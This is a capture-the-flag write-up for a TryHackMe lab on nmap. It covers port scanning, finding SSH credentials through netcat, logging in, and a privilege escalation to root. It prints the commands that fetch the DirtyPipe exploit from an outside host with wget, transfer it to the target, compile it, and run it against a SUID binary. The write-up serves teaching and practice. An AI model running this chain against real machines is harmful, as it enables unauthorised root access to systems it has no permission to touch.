Intermediate Nmap | Sept 19, 2022

Introduction

Welcome to my another writeup! In this TryHackMe Intermediate Nmap room, you can learn how to use nmap, netcat and ssh! Without further ado, let’s dive in.

Background

Can you combine your great nmap skills with other tools to log in to this machine?

Difficulty: Easy

Overall difficulty for me: Very easy
- Initial foothold: Very easy
- Privilege escalation: Very easy

You've learned some great nmap skills! Now can you combine that with other skills with netcat and protocols, to log in to this machine and find the flag? This VM MACHINE_IP is listening on a high port, and if you connect to it it may give you some information you can use to connect to a lower port commonly used for remote access!

Service Enumeration

Note: Since this room is specifically using nmap, so I won’t use rustscan in here.

Nmap light scan:

┌──(root🌸siunam)-[~/ctf/thm/ctf/Intermediate_Nmap]
└─# nmap -sT -T4 $RHOSTS -oN nmap-lightscan.txt
[...]
PORT      STATE SERVICE
22/tcp    open  ssh
2222/tcp  open  EtherNetIP-1
31337/tcp open  Elite

Options:

sT -> Full TCP scan (TCP three-way handshake, SYN, SYN/ACK, ACK)
T4 -> Timing template 4 (Scan faster)
oN -> Output the scan in normal format

Port 31337

┌──(root🌸siunam)-[~/ctf/thm/ctf/Intermediate_Nmap]
└─# nc -nv $RHOSTS 31337
(UNKNOWN) [10.10.200.24] 31337 (?) open
In case I forget - user:pass
ubuntu:{Redacted}

Found SSH credentials!

SSH on Port 2222

┌──(root🌸siunam)-[~/ctf/thm/ctf/Intermediate_Nmap]
└─# nc -nv $RHOSTS 2222 
(UNKNOWN) [10.10.200.24] 2222 (?) open
SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.4

Initial Foothold

SSH on port 2222:

┌──(root🌸siunam)-[~/ctf/thm/ctf/Intermediate_Nmap]
└─# ssh ubuntu@$RHOSTS -p 2222
[...]
ubuntu@10.10.200.24: Permission denied (publickey).

Unable to ssh into port 2222.

SSH on Port 22:

┌──(root🌸siunam)-[~/ctf/thm/ctf/Intermediate_Nmap]
└─# ssh ubuntu@$RHOSTS              
[...]
$ whoami;hostname;id
ubuntu
f518fa10296d

We’re user ubuntu!

Spawn a bash PTY shell:

$ python3 -c "import pty;pty.spawn('/bin/bash')"
ubuntu@f518fa10296d:~$ 

flag.txt:

ubuntu@f518fa10296d:~$  cat /home/user/flag.txt
flag{Redacted}

Privilege Escalation (Optional)

LinPEAS:

╔══════════╣ Operative system
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits
Linux version 5.13.0-1014-aws (buildd@lgw01-amd64-060) (gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0, GNU ld (GNU Binutils for Ubuntu) 2.34) #15~20.04.1-Ubuntu SMP Thu Feb 10 17:55:03 UTC 2022
Distributor ID: Ubuntu
Description:    Ubuntu 20.04.3 LTS
Release:    20.04
Codename:   focal
[...]
╔══════════╣ CVEs Check
Vulnerable to CVE-2021-3560

Vulnerable to CVE-2022-0847
[...]
╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester
[+] [CVE-2022-0847] DirtyPipe

   Details: https://dirtypipe.cm4all.com/
   Exposure: probable
   Tags: [ ubuntu=(20.04|21.04) ],debian=11
   Download URL: https://haxx.in/files/dirtypipez.c
[...]

According to LinPEAS’s output, we can see that it might vulnerable to DirtyPipe. We can try that exploit to gain root privilege!

To do so, I’ll:

Download the DirtyPipe exploit:

┌──(root🌸siunam)-[~/ctf/thm/ctf/Intermediate_Nmap]
└─# wget https://haxx.in/files/dirtypipez.c

Since the target machine has gcc installed, I’ll transfer the exploit to there, compile it and run it:

Check is gcc installed or not:

ubuntu@f518fa10296d:~$ which gcc
/usr/bin/gcc

Transfer the exploit:

┌──(root🌸siunam)-[~/ctf/thm/ctf/Intermediate_Nmap]
└─# python3 -m http.server 80  
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

ubuntu@f518fa10296d:~$ wget http://10.18.61.134/dirtypipez.c -O /tmp/dirtypipez.c

ubuntu@f518fa10296d:~$ gcc /tmp/dirtypipez.c -o /tmp/dirtypipez
ubuntu@f518fa10296d:~$ /tmp/dirtypipez 
Usage: /tmp/dirtypipez SUID

Also, if you read through the C exploit, you’ll see that it needs a SUID binary. Let’s find one of those binary:

ubuntu@f518fa10296d:/$ find / -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/chfn
/usr/bin/umount
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/su
/usr/bin/mount
/usr/bin/sudo

I’ll take /usr/bin/chfn as an example, you can choose any SUID binary.

Run the exploit:

ubuntu@f518fa10296d:~$ /tmp/dirtypipez /usr/bin/chfn
[+] hijacking suid binary..
[+] dropping suid shell..
[+] restoring suid binary..
[+] popping root shell.. (dont forget to clean up /tmp/sh ;))
# python3 -c "import pty;pty.spawn('/bin/bash')"
root@f518fa10296d:/# whoami;id      
root
uid=0(root) gid=0(root) groups=0(root),1000(ubuntu)

I’m root! :D

Conclusion

What we’ve learned:

Port Scanning via nmap
Connect To Open Ports via netcat
Privilege Escalation via Kernel Exploit (DirtyPipe)